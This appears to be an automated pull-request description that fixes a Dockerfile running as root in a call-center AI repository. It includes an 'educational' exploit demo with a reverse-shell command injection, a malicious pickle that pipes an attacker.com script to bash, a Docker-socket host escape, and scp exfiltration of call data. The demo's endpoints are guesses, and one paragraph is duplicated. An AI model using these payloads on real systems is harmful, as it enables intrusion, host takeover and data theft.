Fix: Container Running as Root User Instead of Restricted Account in cicd/Dockerfile

[orbisai0security]

Context and Purpose:

This PR automatically remediates a security vulnerability:

• Description: By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.
• Rule ID: dockerfile.security.missing-user.missing-user
• Severity: MEDIUM
• File: cicd/Dockerfile
• Lines Affected: 36 - 36

This change is necessary to protect the application from potential security risks associated with this vulnerability.

Security Impact Assessment:

Aspect	Rating	Rationale
Impact	High	In the call-center-ai repository, which likely processes sensitive customer interaction data and AI models, running containers as root could allow an attacker to escalate privileges, access or exfiltrate call logs and AI training data, potentially leading to significant data breaches or manipulation of the AI system in a production call center environment.
Likelihood	Medium	The Dockerfile is used in CI/CD for building the AI application, which may be deployed in cloud or on-premises call centers; exploitation requires an attacker to first gain access to the container (e.g., via network vulnerabilities or supply chain attacks), but the repository's public nature and potential exposure in deployed systems make it feasible with moderate attacker effort.
Ease of Fix	Easy	Remediation involves adding a single USER directive in the Dockerfile to specify a non-root user, requiring no changes to dependencies, code logic, or extensive testing, as it's a straightforward configuration update.

Evidence: Proof-of-Concept Exploitation Demo:

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited:

The vulnerability in the cicd/Dockerfile allows containers to run as the root user by default, as no non-root USER is specified. In the context of the Microsoft Call Center AI repository, which deploys an AI-powered call center application (likely including speech processing, API endpoints for call handling, and data storage), an attacker who gains initial access to a running container—such as through a web API vulnerability like command injection in the application's endpoints—could immediately operate with root privileges, enabling full control over the container's processes, files, and potentially the host system. This is particularly concerning given the repository's use of Azure services and containerized deployment, where root access could be chained with other misconfigurations for broader exploitation.

The vulnerability in the cicd/Dockerfile allows containers to run as the root user by default, as no non-root USER is specified. In the context of the Microsoft Call Center AI repository, which deploys an AI-powered call center application (likely including speech processing, API endpoints for call handling, and data storage), an attacker who gains initial access to a running container—such as through a web API vulnerability like command injection in the application's endpoints—could immediately operate with root privileges, enabling full control over the container's processes, files, and potentially the host system. This is particularly concerning given the repository's use of Azure services and containerized deployment, where root access could be chained with other misconfigurations for broader exploitation.

# Step 1: Assume initial access via a vulnerable API endpoint in the call center app
# (e.g., the app exposes an API for processing audio calls; exploit a command injection in a parameter like 'audio_file_url')
# Attacker sends a malicious request to inject a reverse shell command
curl -X POST "http://target-call-center-container:8080/process_call" \
  -d '{"audio_url": "http://attacker.com/malicious.wav; bash -i >& /dev/tcp/attacker_ip/4444 0>&1"}' \
  -H "Content-Type: application/json"

# Step 2: Attacker now has a shell inside the container as root (since USER is not set)
# Verify root access
whoami  # Output: root

# Step 3: Exploit root privileges to access sensitive data (e.g., call recordings stored in /app/data)
ls -la /app/data/  # List call logs, audio files, customer PII
cat /app/data/customer_calls.db  # Dump database with call metadata and transcripts

# Step 4: Escalate to host system (common in Docker deployments without proper isolation)
# Mount host filesystem if volumes are exposed
mount /host /mnt  # Assuming a bind mount or volume is configured in docker-compose.yml
ls /mnt/etc/passwd  # Access host files

# Alternative: If Docker socket is accessible, spawn privileged containers
docker -H unix:///var/run/docker.sock run --privileged -v /:/host alpine chroot /host sh
# Now attacker has full host root access

# Alternative exploitation: If the app uses Python-based AI processing (e.g., via Azure Cognitive Services SDK)
# Exploit a deserialization vulnerability in a pickle-based model loader (common in ML apps)
# Attacker crafts a malicious pickle file and uploads it via the API

import pickle
import requests
import os

# Craft malicious pickle with command execution
class Exploit:
    def __reduce__(self):
        import subprocess
        return (subprocess.call, (['bash', '-c', 'curl http://attacker.com/reverse_shell.sh | bash'],))

malicious_pickle = pickle.dumps(Exploit())

# Upload via vulnerable endpoint (assuming the app accepts model uploads)
response = requests.post("http://target-call-center-container:8080/upload_model",
                         files={'model': ('evil.pkl', malicious_pickle)},
                         headers={'Authorization': 'Bearer compromised_token'})

# If successful, the app deserializes as root, executing the shell
# Attacker gains root shell, can then exfiltrate data or pivot
# Example: Exfiltrate call data
os.system("scp /app/data/* [email protected]:/stolen")

Exploitation Impact Assessment:

Impact Category	Severity	Description
Data Exposure	High	Full access to sensitive call center data, including audio recordings, customer transcripts, personal identifiable information (PII) like names and phone numbers, and potentially API keys for Azure services. An attacker could exfiltrate this data for blackmail, identity theft, or resale on dark markets, affecting all processed calls stored in the container's /app/data directory.
System Compromise	High	Root access inside the container allows arbitrary code execution, privilege escalation to host-level control via Docker socket exploitation or volume mounts, and potential compromise of the entire Azure-based deployment. Attacker could deploy backdoors, install malware, or pivot to other containers in the same cluster.
Operational Impact	Medium	Disruption of call processing services, leading to downtime for the AI call center (e.g., inability to transcribe or route calls). If the container is part of a scaled deployment, it could cascade to affect multiple instances, requiring restarts and potentially corrupting in-progress call data without backups.
Compliance Risk	High	Violates OWASP Top 10 A04:2021 (Insecure Design) and CIS Docker Benchmarks for user privilege management. If handling EU customer data, breaches could trigger GDPR fines for unauthorized access to PII; also risks HIPAA compliance if calls involve health-related information, and fails SOC2 audits for secure container practices in cloud environments.

Solution Implemented:

The automated remediation process has applied the necessary changes to the affected code in cicd/Dockerfile to resolve the identified issue.

Please review the changes to ensure they are correct and integrate as expected.